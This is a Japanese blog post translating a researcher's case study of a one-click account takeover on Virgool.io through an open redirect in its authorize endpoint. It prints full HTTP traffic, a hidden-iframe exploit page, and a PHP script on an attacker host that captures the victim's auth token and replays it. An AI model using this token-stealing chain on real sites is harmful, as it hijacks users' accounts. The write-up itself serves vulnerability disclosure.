Shikata Ga Nai

Private? There is no such things.

1-Click Account Takeover in Virgool.io — a Nice Case Studyを訳してみた

Hello there, ('ω')ノ

 

Virgool.io での 1-Click アカウント乗っ取りを。

 

脆弱性:

 アカウント乗っ取り

 オープンリダイレクト

 

記事:

 https://medium.com/@y.shahinzadeh/1-click-account-takeover-in-virgool-io-a-nice-case-study-6bfc3cb98ef2

 

今回は、Virgool の製品に 1 クリックでアカウントを乗っ取る脆弱性を。

 

Virgool はユーザにドメイン パーキング機能を提供し。

したがって、 site.com は virgool.io/myname のミラーになることができ。

 Virgool でホストされている https://tech.cafebazaar.ir を見ていて。

ソースコードを見たところ、目を引いたのはログインリンクで。

 

https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login

 

クリックして Virgool にログインすると、再び https://tech.cafebazaar.ir

リダイレクトされ。

流れを見てみると。

https://tech.cafebazaar.ir ページからログインをクリックして。

 

GET /authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://tech.cafebazaar.ir/
Connection: close
Cookie: PHPSESSID=REDUCTED; rec=REDUCTED; XSRF-TOKEN=REDUCTED; vrgl_sess=REDUCTED; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=daf3ea276c68e9eb2200e84f71f8b3ea61561463882; _gat_UA-96394274-1=1
Upgrade-Insecure-Requests: 1

 

レスポンスは次のとおりで。

 

HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 05:45:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: https://virgool.io/login
Set-Cookie: XSRF-TOKEN=REDUCTED; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/
Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io;  img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com  https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly  chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; 
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 5830

 

認証情報の送信後のログイン ページ:

 

POST /api/v1.2/login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://virgool.io/login
X-XSRF-TOKEN: REDUCTED
Content-Type: multipart/form-data; boundary=---------------------------1803676204095613341172964359
Content-Length: 319
Connection: close
Cookie: PHPSESSID=REDUCTED; rec=REDUCTED; XSRF-TOKEN=REDUCTED%3D%3D; vrgl_sess=REDUCTED; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=daf3ea276c68e9eb2200e84f71f8b3ea61561463882; _gat_UA-96394274-1=1-----------------------------1803676204095613341172964359
Content-Disposition: form-data; name="username"y.shahinzadeh@gmail.com
-----------------------------1803676204095613341172964359
Content-Disposition: form-data; name="password"REDUCTED
-----------------------------1803676204095613341172964359--

 

レスポンスは次のとおりで。

 

HTTP/1.1 200 OK
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 05:45:55 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 861
Set-Cookie: auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.REDUCTED; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/
Set-Cookie: jwts=REDUCTED; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/; secure; httponly
Set-Cookie: refreshed_token=REDUCTED; expires=Wed, 26-Jun-2019 06:05:55 GMT; Max-Age=1200; path=/; secure
Set-Cookie: uid=sb5uevdkih3r; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/

Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 05:45:55 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io;  img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com  https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly  chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; 
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 612{"success":true,"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.REDUCTED.juAVldUazb6ZTMCopRaXzWQGh-6EYnxXjUd8uEK5jDA","previous_url":"https:\/\/virgool.io\/authorize?redirectedFrom=https:\/\/tech.cafebazaar.ir&status=checked","user":{"name":"YShahinzadeh","activated":1,"username":"YShahinzadeh","avatar":"https:\/\/files.virgool.io\/upload\/users\/9091\/avatar\/1xRXC6.png"}}

 

ここには何も役に立たたず。

ログイン リンク

 

https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login

 

を操作するというアイデアは、次の理由により十分に興味深いものでなく。

 

https://virgool.io/authorize?redirectedFrom=https://test.com&status=login

 

ユーザがログインした後には、役に立たないオープン リダイレクトが発生し。

ここで攻撃シナリオをテストして。

ユーザがすでにログインしていて、承認リンクをクリックした場合はどうなるか。

そのメカニズムは次のとおりで。

 

GET /authorize?redirectedFrom=http://tech.cafebazaar.ir&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: REDUCTED
Upgrade-Insecure-Requests: 1

 

そのレスポンスは驚くべきもので。

 

HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 08:34:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: http://tech.cafebazaar.ir/authorize-token?token=sa5uevekit3r&redirectedFrom=http://tech.cafebazaar.ir&nightmode={"value":0,"userMenu":0,"active":0}
Set-Cookie: XSRF-TOKEN=REDUCTED; expires=Thu, 27-Jun-2019 08:34:53 GMT; Max-Age=86400; path=/
Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 08:34:53 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io;  img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com  https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly  chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; 
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 6482

 

ログイン ページはなく、認証を更新するための

トークン (JWT トークンの更新) があるだけで。

ここで、トークンを盗むことができれば、どのアカウントでも乗っ取るとして。

どのようにしてそれが可能になったのか。

オープンリダイレクトによって最初のショットは成功して。

 

GET /authorize?redirectedFrom=http://localhost/&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
...

 

レスポンスは次のとおりで。

 

HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 08:42:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: http://localhost/authorize-token?token=sb5uevdkih3r&redirectedFrom=http://localhost/&nightmode={"value":0,"userMenu":0,"active":0}

...

 

ワンクリックでアカウント乗っ取り完了で。

エクスプロイトコードは次のとおりで。

 

<style>
iframe {
    visibility: hidden;
    position: absolute;
    left: 0; top: 0;
    height:0; width:0;
    border: none;
}</style><center><img src="troll.jpg"></center><iframe src="https://virgool.io/authorize?redirectedFrom=http://localhost/v/g.php&status=login"></iframe>

 

攻撃者のボックス内:

 

<?phpfile_put_contents('hacked.html', '<html><meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding"><script>document.location=\'http://virgool.io/authorize-token?token=' . $_GET['token'] . '&redirectedFrom=https://virgool.io&nightmode={"value":0,"userMenu":0,"active":0}\'</script>');?>

 

ユーザが攻撃者の Web サイトにアクセスしたら、攻撃者はユーザをだまして

その Web サイトにアクセスする必要があり。

 

GET /authorize-token?token=sa5uevekit3r&redirectedFrom=http://localhost/v/g.php&nightmode={%22value%22:0,%22userMenu%22:0,%22active%22:0} HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/v/
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

 

彼らはトークンを攻撃者に送信し、Virgool アカウントが侵害されて。

 

Best regards, (^^ゞ